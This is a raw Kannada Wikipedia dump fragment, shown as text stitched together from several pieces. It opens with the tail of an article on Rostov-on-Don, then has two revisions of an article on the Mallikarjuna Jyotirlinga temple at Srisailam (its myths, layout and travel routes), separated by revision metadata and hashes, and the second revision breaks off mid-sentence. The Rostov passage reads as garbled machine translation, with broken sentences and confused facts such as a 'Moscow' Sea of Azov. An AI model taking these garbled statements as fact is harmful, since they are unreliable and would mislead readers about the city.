ನದಿಯ, ಇದು 1100 ಕಿಲೋಮೀಟರು ದಕ್ಷಿಣದಲ್ಲಿ ಮಾಸ್ಕೋದ ಅಜೊವ್ ಸಮುದ್ರ, ಹರಿಯುತ್ತದೆ ಇಲ್ಲಿ 46 ಕಿಲೋಮೀಟರ್ ರಂದು, ಪೂರ್ವ ಯೂರೋಪಿನ ಬಯಲುಗಳು ಆಗ್ನೇಯ ರಲ್ಲಿ ಇದೆ. ಮೇ 13, 2000 ದಕ್ಷಿಣ ಫೆಡರಲ್ ಜಿಲ್ಲೆಯ ಆಡಳಿತ ಕೇಂದ್ರ ರಾಸ್ಟೊವ್ ಪ್ರದೇಶದ ಆಡಳಿತಾತ್ಮಕ ಕೇಂದ್ರವನ್ನು. ಜನಸಂಖ್ಯೆ 1.109.800 ಜನರು, ರಶಿಯಾ ಹತ್ತನೆಯ ಅತಿ ಹೆಚ್ಚು ಜನಸಂಖ್ಯೆಯುಳ್ಳ ನಗರವಾಗಿದೆ. ದಕ್ಷಿಣ ಫೆಡರಲ್ ಜಿಲ್ಲಾ (ರಾಸ್ಟೊವ್-ಆನ್ ಡಾನ್, ವೊಲ್ಗೊಗ್ರಾಡ್ ಕ್ರಾಸ್ನೋಡರ್, ಆಸ್ಟ್ರಾಖಾನ್, ಸೋಚಿ) ಪೈಕಿ 1 ಸ್ಥಾನವನ್ನು ಆಕ್ರಮಿಸಿಕೊಳ್ಳುತ್ತದೆ. ಹೆಚ್ಚು 2.160.000 ಜನರ ಒಂದು ಮೆಟ್ರೊಪಾಲಿಟನ್ ಜನಸಂಖ್ಯೆಯು ಒಳಗೆ. ನಗರದ ಪ್ರಮುಖ ಆಡಳಿತ, ಶೈಕ್ಷಣಿಕ, ವೈಜ್ಞಾನಿಕ, ಸಾಂಸ್ಕೃತಿಕ, ಕೈಗಾರಿಕಾ ಕೇಂದ್ರ ಮತ್ತು ದಕ್ಷಿಣ ರಶಿಯಾ ಪ್ರಮುಖ ಸಾರಿಗೆ ಕೇಂದ್ರವಾಗಿದೆ. ರಾಸ್ಟೊವ್ ಹೆಚ್ಚಾಗಿ ಅನೌಪಚಾರಿಕವಾಗಿ "ಕಕೇಷಸ್ನ ಗೇಟ್ಸ್" ಮತ್ತು "ರಶಿಯಾ ದಕ್ಷಿಣ ಬಂಡವಾಳ" (ಕ್ರಾಸ್ನೋಡರ್ ಮತ್ತು ಸೋಚಿ ಜೊತೆಗೆ), ಡಾನ್, ಕೊಯ್ಲು "ರಾಜಧಾನಿ", ಮಾಜಿ ಕ್ರಿಮಿನಲ್ "ರಾಜಧಾನಿ" ಒಗ್ಗೂಡಿ ಎಂದು ಕರೆಯಲಾಗುತ್ತದೆ - ". ರಾಸ್ಟೊವ್-ತಂದೆ" ಮೇ 5, 2008 ರಾಸ್ಟೊವ್-ಆನ್ ಡಾನ್ ಅಧ್ಯಕ್ಷೀಯ ನಿರ್ಣಯ ಸಂಖ್ಯೆ 556 ಮೂಲಕ ರಷ್ಯಾದ ಒಕ್ಕೂಟದ ಗೌರವ ಪ್ರಶಸ್ತಿ ನೀಡಲಾಯಿತು "ಮಿಲಿಟರಿ ಗ್ಲೋರಿ ಆಫ್ ಸಿಟಿ." 2018 ರಲ್ಲಿ ರಾಸ್ಟೊವ್-ಆನ್ ಡಾನ್ ವಿಶ್ವಕಪ್ ಇರುತ್ತದೆ ಇದರಲ್ಲಿ ನಗರಗಳಲ್ಲಿ ಒಂದು ಎಂದು. [[ಚಿತ್ರ:Rostov-na-Donu naberezhnaya panorama 1.jpg|thumb|center|980 px|ರಾಸ್ಟೊವ್-ಆನ್ -ಡಾನ್]] [[ಚಿತ್ರ:Railway%27s_bridge_over_the_river_Don.jpg|center|thumb|980px|ರಾಸ್ಟೊವ್-ಆನ್ -ಡಾನ್]] == ಬಾಹ್ಯ ಸಂಪರ್ಕಗಳು == {{commons|Ростов-на-Дону}} * [http://www.rostov-gorod.ru/index.php ಸಿಟಿ ಕೌನ್ಸಿಲ್ ಮತ್ತು ಆಡಳಿತ ಅಧಿಕೃತ ಪೋರ್ಟಲ್] * [http://dontourism.ru/city_view.aspx?id=91 ರಾಸ್ಟೊವ್ ಪ್ರದೇಶದ ಅಧಿಕೃತ ಪ್ರವಾಸೋದ್ಯಮ ಸೈಟ್ ರಲ್ಲಿ ರಾಸ್ಟೊವ್-ಆನ್ ಡಾನ್] {{Webarchive|url=https://web.archive.org/web/20140416181112/http://dontourism.ru/city_view.aspx?id=91 |date=2014-04-16 }} [[ವರ್ಗ:ರಾಸ್ಟೊವ್-ಆನ್-ಡಾನ್]] oan4n76a7ve6tmkwc3u830ou4hz5w7e ಮಲ್ಲಿಕಾರ್ಜುನ ಜ್ಯೋತಿರ್ಲಿಂಗ 0 49183 1116492 1106731 2022-08-23T14:34:50Z Akshitha achar 75927 wikitext text/x-wiki '''ಶ್ರೀ ಮಲ್ಲಿಕಾರ್ಜುನ ಜ್ಯೋತಿರ್ಲಿಂಗ''' == ಶ್ರೀ ಶೈಲಮ್ ಯಾತ್ರಾಸ್ಥಳ == [[File:Sri Mallikarjuna Swami and Sri Bhramaramba Devi.jpg |thumb|ಶ್ರೀ ಮಲ್ಲಿಕಾರ್ಜುನ ಸ್ವಾಮಿ ಮತ್ತು ಶ್ರೀ ಭ್ರಾಮರಾಂಬಾ ದೇವಿ]] *ಶ್ರೀ ಮಲ್ಲಿಕಾರ್ಜುನ ಜ್ಯೋತಿರ್ಲಿಂಗವು ಆಂಧ್ರ ಪ್ರದೇಶದ ಶ್ರೀ ಶೈಲದಲ್ಲಿದೆ. ಇದು ಜ್ಯೋತಿರ್ಲಿಂಗ ವಲ್ಲದೆ ಮಹಾ ಶಕ್ತಿ ಪೀಠವೆಂದೂ ಹೆಸರಾಗಿದೆ. ಇದು ಕರ್ನೂಲು ಜಿಲ್ಲೆಯ ನಲ್ಲಮಲ ಅಥವಾ ದ್ರೋಣಾಚಲ ಬೆಟ್ಟಗಳ ಸಾಲಿನಲ್ಲಿದೆ. ಕೃಷ್ಣಾನದಿ ಪಕ್ಕದಲ್ಲೇ ಆಳವಾದ ಕಣಿವೆಯಲ್ಲಿ ಹರಿಯುವುದು. ಇದು ಶೈವರಿಗೂ ಕನ್ನಡನಾಡಿನ ವೀರಶೈವರಿಗೂ ಮುಖ್ಯ ಯಾತ್ರಾ ಸ್ಥಳವಾಗಿದೆ. ಕನ್ನಡನಾಡಿನ ಶಿವ ಭಕ್ತೆಯೂ ಶರಣಳೂ , ವಚನಕಾರ್ತಿಯೂ ಆದ ಉಡುತಡಿಯ [[ಅಕ್ಕ ಮಹಾದೇವಿ]] ಸರ್ವಸಂಗ ಪರಿತ್ಯಾಗಿಯಾಗಿ ಚನ್ನಮಲ್ಲಿಕಾರ್ಜುನನ್ನೇ ತನ್ನ ಪತಿಯೆಂದು ಅವನನ್ನು ಅರಸುತ್ತಾ ಶ್ರೀಶೈಲಕ್ಕೆ ಬಂದು ಅಲ್ಲಿನ ಕದಳೀವನದಲ್ಲಿ ಶಿವನಲ್ಲಿ ಐಕ್ಯವಾದಳು ಎಂದು ಇತಿಹಾಸ ಹೇಳುತ್ತದೆ. ಸ್ವಲ್ಪ ದೂರದಲ್ಲಿ [[ಅಕ್ಕಮಹಾದೇವಿ]]ಯ ಗುಹೆಯೂ ಇದೆ. ಅಲ್ಲಿಗೆ ಹೋಗಲು ಸರ್ಕಾರದವರು (ಪ್ರವಾಸ ಇಲಾಖೆಯವರು) ಬೋಟಿನ ವ್ಯವಸ್ಥೆಯನ್ನೂ ಮಾಡಿದ್ದಾರೆ. ಶರಣ ಶ್ರೇಷ್ಠರಾದ ಅಲ್ಲಮ ಪ್ರಭುಗಳು ಶ್ರೀಶೈಲದಲಿ ಇದ್ದರು ಎಂದು ಹೇಳುತ್ತಾರೆ. (ಹರಿಹರ ಕವಿಯ ಅಕ್ಕಮಹಾದೇವಿ ಚರಿತ್ರೆ) == ಶ್ರೀ ಮಲ್ಲಿಕಾರ್ಜುನ ದೇವಾಲಯ == *ಶಿವನ ಜ್ಯೋತಿರ್ಲಿಂಗ ಮಂದಿರವು ಶ್ರೀಶೈಲದ ದ್ರೋಣಾಚಲದ ಬೆಟ್ಟದ ಸಾಲಿನಲ್ಲಿ ,ಕಲ್ಲು ಬಂಡೆಗಳ ಬೆಟ್ಟದ ಮೇಲೆ ಇದೆ. ಮಂದಿರಕ್ಕೆ ಅನೇಕ ಮೆಟ್ಟಿಲುಗಳನ್ನು ಹತ್ತಿ ಹೋಗಬೇಕು.ನಾಲ್ಕು ಕಡೆಗಳಲ್ಲಿ ಎತ್ತರವಾದ ಗೋಡೆಗಳಿವೆ. ನಾಲ್ಕು ಎತ್ತರದ ಗೋಪುರಗಳಿವೆ. ಮೊದಲನೆಯ ವಿಶಾಲವಾದ ಪ್ರಾಕಾರದ ಆಚೆ ಎರಡನೆಯ ಪ್ರಾಕಾರದಲ್ಲಿರವ ಗರ್ಭಗುಡಿಗೆ ಬಂದರೆ ಶ್ರೀ ಮಲ್ಲಿಕಾರ್ಜುನ ಜ್ಯೋತಿರ್ಲಿಂಗದ ದರ್ಶನವಾಗುತ್ತದೆ. ಲಿಂಗ ತುಂಬಾ ಚಿಕ್ಕದು ; ೮-೧೦ ಅಂಗುಲ ಎತ್ತರ ಇರಬಹುದು. ಬೆಟ್ಟದ ಕೆಳಗಿನಿಂದ ಪೂಜಾ ಸಾಮಗ್ರಿಗಳನ್ನು ತೆಗೆದುಕೊಂಡು ಹೋಗಬೇಕು. ಪೂಜೆ ಮಾಡಿಸಿ, ಶ್ರೀ ಮಲ್ಲಿಕಾರ್ಜುನ ಜ್ಯೋತಿರ್ಲಿಂಗದ ದರ್ಶನ ಮಾಡಿಕೊಂಡು ಬರಬಹುದು. *ಆವರಣದಲ್ಲಿ ಎರಡು ಕೊಳಗಳಿವೆ. ಸುತ್ತಲೂ ಸಣ್ಣ ಸಣ್ಣ ಶಿವಮಂದಿರಗಳಿವೆ . ಮಲ್ಲಿಕಾರ್ಜುನ ಮಂದಿರದ ಹಿಂಭಾಗದಲ್ಲಿ ಶ್ರೀ ಪಾವ೯ತಿ ಮಂದಿರವಿದೆ. ಇಲ್ಲಿ ಪಾವ೯ತಿ ದೇವಿಗೆ ಮಲ್ಲಿಕಾದೇವಿ ಎಂದು ಹೆಸರಿದೆ. ಶಿವನಿಗೆ ಇಲ್ಲಿ ಅರ್ಜುನ ಎಂದೂ ಹೇಳುತ್ತಾರೆ. ಈ ಶಿವ ಮತ್ತು ಮಲ್ಲಿಕಾ (ಪಾರ್ವತಿ) ಹೆಸರುಗಳು ಸೇರಿ ಶಿವನಿಗೆ ಮಲ್ಲಿಕಾರ್ಜುನ ಎಂದು ಜ್ಯೋತಿರ್ಲಿಂಗಕ್ಕೆ ಹೆಸರು ಬಂದಿದೆ. ಮಂದಿರದ ಎದುರು ದೊಡ್ಡದಾದ ನಂದಿ ವಿಗ್ರಹ ಇದೆ. *ಶಿವರಾತ್ರಿಯ ದಿನ ಬಹಳ ಜನ ಸೇರುತ್ತಾರೆ ಆಗ ಶಿವ ಪಾರ್ವತಿಯರ ವಿವಾಹ ಮಹೋತ್ಸವ ನಡೆಯುತ್ತದೆ. ಪ್ರತಿದಿನ ನೂರಾರು ಭಕ್ತರು ದೇವರ ದರ್ಶನ ಪಡೆಯಲು ಬರುತ್ತಾರೆ.ಸಮೀಪದಲ್ಲೇ ಹಠೇಶ್ವರ ಹಾಗೂ ಬ್ರಮರಾಂಬಾ ದೇವಿಯರ ಮಂದಿರಗಳಿವೆ. ಪ್ರಸಿದ್ಧ ಅಂಬಾದೇವಿಯ ಮಂದಿರ ಭವ್ಯವಾಗಿದೆ. ಶ್ರೀ ಮಲ್ಲಿಕಾರ್ಜುನನ ದರ್ಶನದಿಂದ ಸಕಲ ಪಾಪವೂ ಪರಿಹಾರವಾಗಿ ಮುಕ್ತಿ ದೊರೆಯುವುದೆಂಬ ನಂಬುಗೆ ಇದೆ. ಸಮೀಪದ ಪಟ್ಟಣ ಕರ್ನೂಲು, ಇಲ್ಲಿಂದ ೧೦೦ ಕಿಮೀ.ದೂರವಿದೆ. ಭದ್ರಾಚಲಂ ಮತ್ತು ಮಹಾನಂದಿ ಇಲ್ಲಿಗೆ ಹತ್ತಿರದ ತೀರ್ಥ ಕ್ಷೇತ್ರಗಳು. ನಾಗಾರ್ಜನ ಸಾಗರ ಮತ್ತೊಂದು ಪ್ರೇಕ್ಷಣೀಯ ಸ್ಥಳ. ಇಲ್ಲಿಗೆ ವಾಹನ ವ್ಯವಸ್ಥೆ ಚೆನ್ನಾಗಿದೆ. {{Infobox Mandir | name = ಶ್ರೀಶೈಲಂ | image = Srisailam_Entrance_Gopuram.jpg | image_alt = | caption = ದೇವಾಲಯದ ಮುಖದ್ವಾರ | pushpin_map = <!-- India Andhra Pradesh --> | map_caption = Location in Andhra Pradesh | latd = 16.073927 | latNS = N | longd = 78.868731 | longEW = E | coordinates_region = IN-AP | other_names = | proper_name = [[ಶ್ರೀಭ್ರಮರಾಂಭ ಮಲ್ಲಿಕಾರ್ಜುನಸ್ವಾಮಿ ಆಲಯಂ]] | devanagari = | sanskrit_translit = | tamil = | marathi = | bengali = | country = [[ಭಾರತ]] | state = [[ಆಂಧ್ರ ಪ್ರದೇಶ]] | district = | location =ಶ್ರೀಶೈಲಂ | elevation_m = | primary_deity = [[ಶಿವ ಮತ್ತು ಭ್ರಮರಾಂಬಗಳು]] | important_festivals= | architecture = | number_of_temples = | number_of_monuments= | inscriptions = | date_built = | creator = | website = }} ==ಶಿವ ಪುರಾಣದ ಕಥೆ == *ಇತರೆ ಜ್ಯೋತಿರ್ಲಿಂಗದ ಕಥೆಯಂತೆಯೇ ಇಲ್ಲಿಯ ಕಥೆಯೂ ಇದೆ. ಬ್ರಹ್ಮ ಮತ್ತು ವಿಷ್ಣು ಇವರಲ್ಲಿ ಯಾರು ಮೇಲೆಂದು ಚರ್ಚೆಯಾದಾಗ, ಅವರು ಯಾರು ಮೇಲೆಂದು ಶಿವನನ್ನು ಕೇಳುವರು. ಶಿವನು ಮೂರು ಜ್ಯೋತಿಗಳ (ಬೆಳಕಿನ) ಆದಿ ಅಂತ್ಯ ವಿಲ್ಲದ ಮೂರು ಕಂಬಗಳನ್ನು (ಅವು ಬ್ರಹ್ಮ , ವಿಷ್ಣು ಮಧ್ಯ ಮಹೇಶ್ವರ) ಸೃಷ್ಠಿಸಿದನು (ಜ್ಯೋತಿರ್ಲಿಲಿಂಗ). ವಿಷ್ಣು ಮತ್ತು ಬ್ರಹ್ಮ ರಿಗೆ ಅದರ (ಮಧ್ಯದಲಿಂಗ) ಮತ್ತು ಮೇಲಿನ ತುದಿಯನ್ನು ಕಂಡುಹಿಡಿಯಲು ತಿಳಿಸಿದನು. ವಿಷ್ಣುವು ಅದರ ಕೆಳಗಿನ ತುದಿಯನ್ನು ಕಾಣದೇ ಹಿಂತುರುಗಿ ಬಂದು ತನಗೆ ಆ ಲಿಂಗದ ತುದಿ ಸಿಗದಿರುವ ವಿಷಯ ತಿಳಿಸಿದನು. ಆದರೆ ಬ್ರಹ್ಮ ನು (ಮೇಲಿನ) ತಾನು ನೋಡಿರುವದಾಗಿ ಹೇಳಿದನು. ಈಶ್ವರನು .ಎರಡನೇ ಜ್ಯೋತಿಸ್ಥಂಬವಾಗಿದ್ದು ಬ್ರಹ್ಮನು ಸುಳ್ಳು ಹೇಳಿದನೆಂದು ತಿಳಿದು ಅವನಿಗೆ ಪೂಜೆಯಿಲ್ಲದಿರಲಿ ಎಂದು ಶಪಿಸಿದನು .ಅದರೆ ಸತ್ಯ ಹೇಳಿದ ವಿಷ್ಣು ವು ಪೂಜೆಗೆ ಅರ್ಹನೆಂದು ಹೇಳಿದನು ಆ ಜ್ಯೋತಿಯೇ ಈ ಜ್ಯೋತಿರ್ ಲಿಂಗವಾಗಿದೆ ಎಂದು ಶಿವ ಪುರಾಣ ಹೇಳುತ್ತದೆ. == ಶ್ರೀ ಶೈಲದ ಹೆಸರಿನ ಕಥೆ. == *ಶಿವ ಪಾರ್ವತಿಯರು ತಮ್ಮ ಮಕ್ಕಳಾದ ಗಣೇಶ ಕಾರ್ತಿಕೇಯರಿಗೆ ವಿವಾಹಮಾಡಲು ನಿಶ್ಚಯಿಸಿ ವಧುಗಳಾದ ಸಿದ್ಧಿ ಮತ್ತು ಬುದ್ಧಿಯರನ್ನು ವಿವಾಹಮಾಡಲು ನಿಶ್ಚಯಿಸಿದರು. ಅವನ್ನು ಯಾರಿಗೆ ವಿವಾಹಮಾಡಬೇಕೆಂದು ಪರೀಕ್ಷಿಸಲು ಒಂದು ಪಣವನ್ನು ಇಟ್ಟರು. ಈ ಜಗತ್ತನ್ನು ಮೊದಲು ಯಾರು ಸುತ್ತು ಹಾಕಿ ಬರುವರೋ ಅವರಿಗೆ ವಿವಾಹ ಮಾಡುವುದೆಂದು ನಿರ್ಧರಿಸಿದರು. ಕಾರ್ತಿಕೇಯನು ಅವನ ವಾಹನ ನವಿಲಿನ ಮೇಲೆ ಜಗತ್ತನ್ನು ಸುತ್ತಿ ಬರಲು ಹೊರಟನು. ಗಣೇಶನು ಶಿವ ಪಾರ್ವತಿಯರೇ ಜಗತ್ತಿನ ಸ್ವರೂಪರೆಂದು ಹೇಳಿ ಅವರನ್ನೇ ಒಂದು ಸುತ್ತು ಬಂದು ಕುಳಿತನು. ಅದನ್ನು ಒಪ್ಪಿ ಶಿವ ಪಾರ್ವತಿಯರು ಗಣೇಶನಿಗೆ ಸಿದ್ಧಿ ಮತ್ತು ಬುದ್ಧಿಯರನ್ನು ಕೊಟ್ಟು ವಿವಾಹ ಮಾಡಿದರು. ಕಾರ್ತಿಕೇಯನು ಜಗವನ್ನು ಪ್ರದಕ್ಷಿಣೆಮಾಡಿ ಬಂದು ಇದನ್ನು ನೋಡಿ ಸಿಟ್ಟಾಗಿ ಕೈಲಾಸವನ್ನು ಬಿಟ್ಟು ಬಂದು ಕೃವಂಗ (ಶ್ರೀಶೈಲ) ಪರ್ವತಕ್ಕೆ ಬಂದು ನೆಲಸಿದನು . *ಶಿವ ಪಾರ್ವತಿಯರು ಅವನನ್ನು ಹಿಂಬಾಲಿಸಿ ಬಂದು ಅವನಿಗೆ ಸಮಾಧಾನ ಮಾಡಲು ನೋಡಿದರು ಆದರೆ ಅವನು ಒಪ್ಪದೆ ಬೇರೆ ಪರ್ವತಕ್ಕೆ ಹೋಗಲು ಹವಣಿಸಿದನು. ಆಗ ದೇವತೆಗಳು ಕುಮಾರನೂ ಶಿವ ಪಾರ್ವತಿಯರೂ ಅಲ್ಲಿಯೇ ನೆಲಸಬೇಕೆಂದು ಕೋರಿದರು. ಅಂತಯೇ ಮುರುಗನೂ (ಕಾರ್ತಿಕೇಯ : ಕುಮಾರ) ಶಿವ ಪಾರ್ವತಿಯರೂ ಅಲ್ಲಿಯೇ ನೆಲಸಿದರು. ಅದಕ್ಕೆ ಶ್ರೀ ಶೈಲ ವೆಂದು ಹೆಸರುಬಂದಿತು. ಆದರೆ ನಂತರ ಶಿವನು ಅಮಾವಾಸ್ಯೆಯಂದೂ , ಪಾರ್ವತಿಯು ಹುಣ್ಣಿಮೆಯಂದೂ ಕಾರ್ತಿಕೇಯನನ್ನು ನೋಡಲು ಅಲ್ಲಿಗೆ ಬರುವರೆಂಬ ನಂಬುಗೆ ಇದೆ <sup>೧</sup>. == ಶಕ್ತಿ ಪೀಠದ ಪುರಾಣ ಕಥೆ == *ದಕ್ಷ ಯಜ್ಞದ ಕಾಲದಲ್ಲಿ ಯಜ್ಞ ಕುಂಡಕ್ಕೆ ಅಹುತಿಯಾದ ಸತೀ ದೇವಿಯು ನಂತರ ಪಾರ್ವತಿಯಾಗಿ ಹುಟ್ಟಿ ಬಂದು ಶಿವನನ್ನು ವಿವಾಹವಾದ ಕಥೆ ಪ್ರಸಿದ್ಧವಾಗಿದೆ. ಆ ಸತಿ ದೇವಿಯ ಶಕ್ತಿ ಹದಿನೆಂಟು ಕಡೆ ನೆಲಸಿ ಆ ಪ್ರದೇಶಗಳು ಹದಿನೆಂಟು ಮಹಾಶಕ್ತಿ ಸ್ಥಳಗಳೆಂದು ಪ್ರಸಿದ್ಧವಾಗಿವೆ *ಆ ಹದಿನೆಂಟು ಮಹಾ ಶಕ್ತಿ ಸ್ಥಳಗಳಲ್ಲಿ ಶ್ರೀಶೈಲವೂ ಒಂದು . ಇದರ ಹಿಂದಿರುವ ಕಥೆ . ಸತೀದೇವಿಯು ಯಜ್ಞಕುಂಡವನ್ನು ಪ್ರವೇಶಿಸಿದ ನಂತರ ಶಿವನು ಅವಳ ದೇಹವನ್ನು ಹೊತ್ತು ಸಂಚರಿಸುವಾಗ ಅವಳದೇಹದ ಒಂದು ಭಾಗ (ತುಣುಕು - ತುಟಿ) ಶ್ರೀಶೈಲ ಪ್ರದೇಶಗಲ್ಲಿ ಬಿದ್ದಿತೆಂದೂ, ಆದ್ದರಿಂದ ಇದು ಮಹಾಶಕ್ತಿ ಸ್ಥಳವಾಗಿ ಪರಿಗಣಿಸಲ್ಪಟ್ಟಿರುವುದಂದೂ ಹೇಳವರು . == ಶ್ರೀಶೈಲಕ್ಕೆ ಮಾರ್ಗ. == ಹ್ಶೆದರಾಬಾದು ಇಲ್ಲಿಗೆ ೧೭೫ ಕಿ.ಮೀ. ಹತ್ತಿರದ ರೈಲ್ವೆ ನಿಲ್ದಾಣ ಮರ್ಕಾಪುರ ; ಓಂಗಲೆ ; ನಂದ್ಯಾಲ ; ಹ್ಶೆದರಾಬಾದು -ಮೆಹಬೂಬನಗರ ( ರಾ ಹೆ.೭) - ಶ್ರೀಶೈಲಮ್ /ಓಂಗಲೆ - ಗೂತಿ - ಅತಮ್‌ಕೂರು- ಶ್ರೀಶೈಲಮ್ ದೇವಾಲಯ. == ನೋಡಿ == *[[ಶ್ರೀಶೈಲ]] *[[ಚರ್ಚೆಪುಟ:ಮಲ್ಲಿಕಾರ್ಜುನ ಜ್ಯೋತಿರ್ಲಿಂಗ]] *[[ಕೇದಾರನಾಥ]], ಉತ್ತರಾಂಚಲ) * ಶ್ರೀ [[ವಿಶ್ವೇಶ್ವರ ಜ್ಯೋತಿರ್ಲಿಂಗ]] ((ಕಾಶಿ, ಉತ್ತರಪ್ರದೇಶ) * [[ಶ್ರೀ ವೈದ್ಯನಾಥ ಜ್ಯೋತಿರ್ಲಿಂಗ]] ಬಿಹಾರ ರಾಜ್ಯ * [[ಶ್ರೀ ಮಹಾಕಾಳೇಶ್ವರ ಜ್ಯೋತಿರ್ಲಿಂಗ]] ಮಧ್ಯ ಪ್ರದೇಶದ ಉಜ್ಜಯನಿ * [[ಶ್ರೀ ಓಂಕಾರೇಶ್ವರ ಜ್ಯೋತಿರ್ಲಿಂಗ]] ಮಧ್ಯ ಪ್ರದೇಶ ನರ್ಮದಾ ತೀರ * [[ಶ್ರೀ ಸೋಮನಾಥ ಜ್ಯೋತಿರ್ಲಿಂಗ]] ಪ್ರಭಾಸ ಕ್ಷೇತ್ರ ಜುನಾಗಡ ಜಿಲ್ಲೆ, ಗುಜರಾತ್ , ಸೌರಾಷ್ತ್ರ : * [[ಶ್ರೀ ನಾಗೇಶ್ವರ ಜ್ಯೋತಿರ್ಲಿಂಗ]] ದ್ವಾರಕಾ ಗುಜರಾತ್ * ಶ್ರೀ [[ತ್ರ್ಯಂಬಕೇಶ್ವರ]] ಜ್ಯೋತಿರ್ಲಿಂಗ ನಾಸಿಕ ಜಿಲ್ಲೆ ಮಹಾರಾಷ್ತ್ರ ರಾಜ್ಯ ; * [[ಶ್ರೀ ಗೃಷ್ಣೇಶ್ವರ ಜ್ಯೋತಿರ್ಲಿಂಗ]] ಮಹಾರಾಷ್ಟ್ರದ ಔರಂಗಾಬಾದ್ ಕ್ಶೇತ್ರ * ಶ್ರೀ [[ಭೀಮಾಶಂಕರ]] ಜ್ಯೋತಿರ್ಲಿಂಗ - *ಶ್ರೀ[[ರಾಮನಾಥೇಶ್ವರ]] ಜ್ಯೋತಿರ್ಲಿಂಗ ತಮಿಳುನಾಡು *[[ದ್ವಾದಶ ಜ್ಯೋತಿರ್ಲಿಂಗಗಳು]] ಮತ್ತು [[ಜ್ಯೋತಿರ್ಲಿಂಗಗಳು]]-[[ಜ್ಯೋತಿರ್ಲಿಂಗ]] == ಆಧಾರ. == {{commons category|Mallikarjuna Jyotirlinga}} *ದ್ವಾದಶ ಜ್ಯೋತಿರ್ಲಿಂಗಗಳು ಕೈ ಹೊತ್ತಿಗೆ- ಪ್ರವಾಸ ಲೇಖನ ಗ್ರಂಥ_ ಬರೆದವರು ಶ್ರೀಮತಿ ಚೂಡಾಮಣಿ ರಾಮಚಂದ್ರ [[ಸಾಗರ]] ಶಿವಮೊಗ್ಗ ಜಿಲ್ಲೆ *೧-https://en.wikipedia.org/wiki/Srisailam *https://en.wikipedia.org/wiki/Mallikarjuna_Swamy * {{ದ್ವಾದಶ ಜ್ಯೋತಿರ್ಲಿಂಗಗಳು}} [[ವರ್ಗ:ಭಾರತದ ಪುಣ್ಯಕ್ಷೇತ್ರಗಳು]] [[ವರ್ಗ:ಹಿಂದೂ ಧರ್ಮ]] [[ವರ್ಗ:ಹಿಂದೂ ಧರ್ಮದ ಪುಣ್ಯ ಕ್ಷೇತ್ರಗಳು]] kxtrmp9fhf1tugui45jb2inzw6rjysv 1116498 1116492 2022-08-23T15:05:14Z Akshitha achar 75927 wikitext text/x-wiki '''ಶ್ರೀ ಮಲ್ಲಿಕಾರ್ಜುನ ಜ್ಯೋತಿರ್ಲಿಂಗ''' == ಶ್ರೀ ಶೈಲಮ್ ಯಾತ್ರಾಸ್ಥಳ == [[File:Sri Mallikarjuna Swami and Sri Bhramaramba Devi.jpg |thumb|ಶ್ರೀ ಮಲ್ಲಿಕಾರ್ಜುನ ಸ್ವಾಮಿ ಮತ್ತು ಶ್ರೀ ಭ್ರಮರಾಂಬಾ ದೇವಿ]] *ಶ್ರೀ ಮಲ್ಲಿಕಾರ್ಜುನ ಜ್ಯೋತಿರ್ಲಿಂಗವು ಆಂಧ್ರ ಪ್ರದೇಶದ ಶ್ರೀ ಶೈಲದಲ್ಲಿದೆ. ಇದು ಜ್ಯೋತಿರ್ಲಿಂಗ ವಲ್ಲದೆ ಮಹಾ ಶಕ್ತಿ ಪೀಠವೆಂದೂ ಹೆಸರಾಗಿದೆ. ಇದು ಕರ್ನೂಲು ಜಿಲ್ಲೆಯ ನಲ್ಲಮಲ ಅಥವಾ ದ್ರೋಣಾಚಲ ಬೆಟ್ಟಗಳ ಸಾಲಿನಲ್ಲಿದೆ. ಕೃಷ್ಣಾನದಿ ಪಕ್ಕದಲ್ಲೇ ಆಳವಾದ ಕಣಿವೆಯಲ್ಲಿ ಹರಿಯುವುದು. ಇದು ಶೈವರಿಗೂ ಕನ್ನಡನಾಡಿನ ವೀರಶೈವರಿಗೂ ಮುಖ್ಯ ಯಾತ್ರಾ ಸ್ಥಳವಾಗಿದೆ. ಕನ್ನಡನಾಡಿನ ಶಿವ ಭಕ್ತೆಯೂ ಶರಣಳೂ , ವಚನಕಾರ್ತಿಯೂ ಆದ ಉಡುತಡಿಯ [[ಅಕ್ಕ ಮಹಾದೇವಿ]] ಸರ್ವಸಂಗ ಪರಿತ್ಯಾಗಿಯಾಗಿ ಚನ್ನಮಲ್ಲಿಕಾರ್ಜುನನ್ನೇ ತನ್ನ ಪತಿಯೆಂದು ಅವನನ್ನು ಅರಸುತ್ತಾ ಶ್ರೀಶೈಲಕ್ಕೆ ಬಂದು ಅಲ್ಲಿನ ಕದಳೀವನದಲ್ಲಿ ಶಿವನಲ್ಲಿ ಐಕ್ಯವಾದಳು ಎಂದು ಇತಿಹಾಸ ಹೇಳುತ್ತದೆ. ಸ್ವಲ್ಪ ದೂರದಲ್ಲಿ [[ಅಕ್ಕಮಹಾದೇವಿ]]ಯ ಗುಹೆಯೂ ಇದೆ. ಅಲ್ಲಿಗೆ ಹೋಗಲು ಸರ್ಕಾರದವರು (ಪ್ರವಾಸ ಇಲಾಖೆಯವರು) ಬೋಟಿನ ವ್ಯವಸ್ಥೆಯನ್ನೂ ಮಾಡಿದ್ದಾರೆ. ಶರಣ ಶ್ರೇಷ್ಠರಾದ ಅಲ್ಲಮ ಪ್ರಭುಗಳು ಶ್ರೀಶೈಲದಲಿ ಇದ್ದರು ಎಂದು ಹೇಳುತ್ತಾರೆ. (ಹರಿಹರ ಕವಿಯ ಅಕ್ಕಮಹಾದೇವಿ ಚರಿತ್ರೆ) == ಶ್ರೀ ಮಲ್ಲಿಕಾರ್ಜುನ ದೇವಾಲಯ == *ಶಿವನ ಜ್ಯೋತಿರ್ಲಿಂಗ ಮಂದಿರವು ಶ್ರೀಶೈಲದ ದ್ರೋಣಾಚಲದ ಬೆಟ್ಟದ ಸಾಲಿನಲ್ಲಿ ,ಕಲ್ಲು ಬಂಡೆಗಳ ಬೆಟ್ಟದ ಮೇಲೆ ಇದೆ. ಮಂದಿರಕ್ಕೆ ಅನೇಕ ಮೆಟ್ಟಿಲುಗಳನ್ನು ಹತ್ತಿ ಹೋಗಬೇಕು.ನಾಲ್ಕು ಕಡೆಗಳಲ್ಲಿ ಎತ್ತರವಾದ ಗೋಡೆಗಳಿವೆ. ನಾಲ್ಕು ಎತ್ತರದ ಗೋಪುರಗಳಿವೆ. ಮೊದಲನೆಯ ವಿಶಾಲವಾದ ಪ್ರಾಕಾರದ ಆಚೆ ಎರಡನೆಯ ಪ್ರಾಕಾರದಲ್ಲಿರವ ಗರ್ಭಗುಡಿಗೆ ಬಂದರೆ ಶ್ರೀ ಮಲ್ಲಿಕಾರ್ಜುನ 